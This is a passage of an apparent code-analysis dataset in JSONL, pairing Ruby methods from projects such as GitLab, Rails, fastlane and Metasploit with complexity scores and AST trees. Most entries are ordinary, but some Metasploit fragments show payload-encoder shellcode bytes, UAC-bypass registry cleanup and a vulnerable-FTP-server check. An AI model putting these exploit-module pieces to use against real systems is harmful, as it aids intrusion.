"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"status_import_bulk_imports_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]}]}]}]}]}","id":"13913794-badf-4794-ba45-4b50504269d4"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/gift_card.rb","start_line":110,"raw_source":"def display_code\n      code.upcase\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"display_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"code\"]},\"upcase\"]}]}","id":"73198237-78a4-463b-ba3b-aa2bd9ae42e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/metrics/query.rb","start_line":122,"raw_source":"def total_avg(metric = \"ms\")\n          completed = totals[\"p\"] - totals[\"f\"]\n          return 0 if completed.zero?\n          totals[metric].to_f / completed\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"total_avg\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"metric\",{\"type\":\"str\",\"children\":[\"ms\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"totals\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"totals\"]},\"[]\",{\"type\":\"str\",\"children\":[\"f\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completed\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"totals\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"metric\"]}]},\"to_f\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"completed\"]}]}]}]}","id":"71c237e5-d09d-4f5a-85b5-e0ec29a0ce28"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/viewpoint_writer.rb","start_line":60,"raw_source":"def view_setup_hints(xml)\n      return unless (setup_hash = dig_json(\"components\", \"visibility\", \"view_setup_hints\"))\n\n      xml.ViewSetupHints(camelized(setup_hash))\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"view_setup_hints\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setup_hash\",{\"type\":\"send\",\"children\":[null,\"dig_json\",{\"type\":\"str\",\"children\":[\"components\"]},{\"type\":\"str\",\"children\":[\"visibility\"]},{\"type\":\"str\",\"children\":[\"view_setup_hints\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"ViewSetupHints\",{\"type\":\"send\",\"children\":[null,\"camelized\",{\"type\":\"lvar\",\"children\":[\"setup_hash\"]}]}]}]}]}","id":"f6e115bb-c917-48d0-ae09-2c642ad0c719"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/screengrab/lib/screengrab/runner.rb","start_line":77,"raw_source":"def select_device\n      adb = Fastlane::Helper::AdbHelper.new(adb_path: @android_env.adb_path, adb_host: @config[:adb_host])\n      devices = adb.load_all_devices\n\n      UI.user_error!('There are no connected and authorized devices or emulators') if devices.empty?\n\n      specific_device = @config[:specific_device]\n      if specific_device\n        devices.select! do |d|\n          d.serial.include?(specific_device)\n        end\n      end\n\n      UI.user_error!(\"No connected devices matched your criteria: #{specific_device}\") if devices.empty?\n\n      if devices.length > 1\n        UI.important(\"Multiple connected devices, selecting the first one\")\n        UI.important(\"To specify which connected device to use, use the -s (specific_device) config option\")\n      end\n\n      devices.first.serial\n    end","complexity_score":28.5,"ast_json":"{\"type\":\"def\",\"children\":[\"select_device\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Helper\"]},\"AdbHelper\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adb_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@android_env\"]},\"adb_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adb_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"adb_host\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"devices\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adb\"]},\"load_all_devices\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devices\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"There are no connected and authorized devices or emulators\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"specific_device\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"specific_device\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specific_device\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devices\"]},\"select!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"serial\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"specific_device\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devices\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No connected devices matched your criteria: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specific_device\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devices\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Multiple connected devices, selecting the first one\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"To specify which connected device to use, use the -s (specific_device) config option\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devices\"]},\"first\"]},\"serial\"]}]}]}","id":"44dc6d6e-4599-4af3-adfc-04e71fac5296"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb","start_line":91,"raw_source":"def remove_reg_value(registry_hash)\n    # we may have already deleted the key\n    return unless registry_key_exist?(registry_hash[:key_name])\n\n    begin\n      if registry_hash[:delete_on_cleanup]\n        vprint_status(\"Deleting #{registry_hash[:key_name]} key\")\n        registry_deletekey(registry_hash[:key_name])\n      else\n        vprint_status(\"Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key\")\n        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])\n      end\n    rescue Rex::Post::Meterpreter::RequestError => e\n      print_bad('Unable to clean up registry')\n      print_error(e.to_s)\n    end\n  end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_reg_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"registry_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_key_exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_name\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delete_on_cleanup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_name\"]}]}]},{\"type\":\"str\",\"children\":[\" key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"registry_deletekey\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_name\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value_name\"]}]}]},{\"type\":\"str\",\"children\":[\" from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_name\"]}]}]},{\"type\":\"str\",\"children\":[\" key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"registry_deleteval\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value_name\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"str\",\"children\":[\"Unable to clean up registry\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]}]},null]}]}]}]}","id":"8ae52b14-7a91-4341-8333-4f5f701f18d2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/create_migration_test.rb","start_line":70,"raw_source":"def test_invoke_when_exists_identical\n    migration_exists!\n    create_migration\n\n    assert_match(/identical  db\\/migrate\\/1_create_articles\\.rb\\n/, invoke!)\n    assert_predicate @migration, :identical?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invoke_when_exists_identical\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_exists!\"]},{\"type\":\"send\",\"children\":[null,\"create_migration\"]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"identical  db/migrate/1_create_articles\\\\.rb\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"invoke!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@migration\"]},{\"type\":\"sym\",\"children\":[\"identical?\"]}]}]}]}","id":"51986591-7993-4603-9738-35567fa04c15"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/x86/avoid_utf8_tolower.rb","start_line":111,"raw_source":"def decoder_stub(state)\n    len = ((state.buf.length + 3) & (~0x3)) / 4\n\n    # Grab the number of additional bytes that we need to adjust by in order\n    # to get the context register to point immediately after the stub header\n    off = (datastore['BufferOffset'] || 0).to_i\n\n    # Check to make sure that the length is a valid size\n    if is_badchar(state, len)\n      raise EncodingError, \"The payload being encoded is of an incompatible size (#{len} bytes)\"\n    end\n\n    decoder =\n      \"\\x6a\" + [len].pack('C') + # push len\n      \"\\x6b\\x3c\\x24\\x0b\" + # imul 0xb\n      \"\\x60\" + # pusha\n      \"\\x03\\x0c\\x24\" + # add ecx, [esp]\n      \"\\x6a\" + [0x11 + off].pack('C') + # push byte 0x11 + off\n      \"\\x03\\x0c\\x24\" + # add ecx, [esp]\n      \"\\x6a\\x04\" # push byte 0x4\n\n    # encoded sled\n    state.context = ''\n\n    return decoder\n  end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decoder_stub\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"buf\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[3]}]}]},\"&\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"~\"]}]}]}]},\"/\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"off\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BufferOffset\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_badchar\",{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"EncodingError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The payload being encoded is of an incompatible size (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"decoder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"j\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"k<$\\u000b\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"`\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0003\\f$\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"j\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[17]},\"+\",{\"type\":\"lvar\",\"children\":[\"off\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0003\\f$\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"j\\u0004\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"context=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoder\"]}]}]}]}","id":"d3861707-d17b-4c97-ae71-ffdb7a11264a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/pcman_put.rb","start_line":63,"raw_source":"def check\n    connect_login\n    disconnect\n\n    if /220 PCMan's FTP Server 2\\.0/ === banner\n      Exploit::CheckCode::Appears\n    else\n      Exploit::CheckCode::Safe\n    end\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_login\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"220 PCMan's FTP Server 2\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]},\"===\",{\"type\":\"send\",\"children\":[null,\"banner\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"b52bbd99-9e1d-4c84-81c1-5b1ec89d047c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service/derive_progress_values_status_based.rb","start_line":58,"raw_source":"def status_percent_complete_changed?\n      work_package.status_id.present? && work_package.status_id_came_from_user? \\\n        && work_package.status.default_done_ratio != work_package.done_ratio_was\n    end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"status_percent_complete_changed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"status_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"status_id_came_from_user?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"status\"]},\"default_done_ratio\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"done_ratio_was\"]}]}]}]}","id":"d2c121a2-430e-4304-a84c-3bff7985efae"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/family/invitations_controller.rb","start_line":61,"raw_source":"def set_family\n    @family = current_user.family\n\n    redirect_to new_family_path, alert: 'You are not in a family' and return unless @family\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_family\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@family\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"family\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@family\"]},null,{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_family_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"str\",\"children\":[\"You are not in a family\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]}]}","id":"3a45c72c-bb8d-4350-b2ca-fe5050b2af59"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/pem/lib/pem/manager.rb","start_line":11,"raw_source":"def start\n        FastlaneCore::PrintTable.print_values(config: PEM.config, hide_keys: [:new_profile], title: \"Summary for PEM #{Fastlane::VERSION}\")\n        login\n\n        existing_certificate = certificate_sorted.detect do |c|\n          c.owner_name == PEM.config[:app_identifier]\n        end\n\n        if existing_certificate\n          remaining_days = (existing_certificate.expires - Time.now) / 60 / 60 / 24\n\n          display_platform = ''\n          unless PEM.config[:website_push]\n            display_platform = \"#{PEM.config[:platform]} \"\n          end\n\n          UI.message(\"Existing #{display_platform}push notification profile for '#{existing_certificate.owner_name}' is valid for #{remaining_days.round} more days.\")\n          if remaining_days > PEM.config[:active_days_limit]\n            if PEM.config[:force]\n              UI.success(\"You already have an existing push certificate, but a new one will be created since the --force option has been set.\")\n            else\n              UI.success(\"You already have a push certificate, which is active for more than #{PEM.config[:active_days_limit]} more days. No need to create a new one\")\n              UI.success(\"If you still want to create a new one, use the --force option when running PEM.\")\n              return false\n            end\n          end\n        end\n\n        return create_certificate\n      end","complexity_score":57.6,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PrintTable\"]},\"print_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PEM\"]},\"config\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_profile\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Summary for PEM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"lvasgn\",\"children\":[\"existing_certificate\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"certificate_sorted\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"owner_name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PEM\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_certificate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remaining_days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_certificate\"]},\"expires\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},\"/\",{\"type\":\"int\",\"children\":[60]}]},\"/\",{\"type\":\"int\",\"children\":[60]}]},\"/\",{\"type\":\"int\",\"children\":[24]}]}]},{\"type\":\"lvasgn\",\"children\":[\"display_platform\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PEM\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"website_push\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"display_platform\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PEM\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Existing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"display_platform\"]}]},{\"type\":\"str\",\"children\":[\"push notification profile for '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_certificate\"]},\"owner_name\"]}]},{\"type\":\"str\",\"children\":[\"' is valid for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining_days\"]},\"round\"]}]},{\"type\":\"str\",\"children\":[\" more days.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining_days\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PEM\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active_days_limit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PEM\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"You already have an existing push certificate, but a new one will be created since the --force option has been set.\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You already have a push certificate, which is active for more than \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PEM\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active_days_limit\"]}]}]},{\"type\":\"str\",\"children\":[\" more days. No need to create a new one\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"If you still want to create a new one, use the --force option when running PEM.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_certificate\"]}]}]}]}","id":"b5bc5864-4832-4748-8a91-fe41b323a04f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/service_desk.rb","start_line":218,"raw_source":"def substitute_template_replacements(template_body)\n      template_body\n        .gsub(/%\\{\\s*ISSUE_ID\\s*\\}/, issue_id)\n        .gsub(/%\\{\\s*ISSUE_PATH\\s*\\}/, issue_path)\n        .gsub(/%\\{\\s*NOTE_TEXT\\s*\\}/, note_text)\n        .gsub(/%\\{\\s*ISSUE_DESCRIPTION\\s*\\}/, issue_description)\n        .gsub(/%\\{\\s*SYSTEM_HEADER\\s*\\}/, text_header_message.to_s)\n        .gsub(/%\\{\\s*SYSTEM_FOOTER\\s*\\}/, text_footer_message.to_s)\n        .gsub(/%\\{\\s*UNSUBSCRIBE_URL\\s*\\}/, unsubscribe_sent_notification_url(@sent_notification))\n        .gsub(/%\\{\\s*ADDITIONAL_TEXT\\s*\\}/, service_desk_email_additional_text.to_s)\n        .gsub(/%\\{\\s*ISSUE_URL\\s*\\}/, full_issue_url)\n    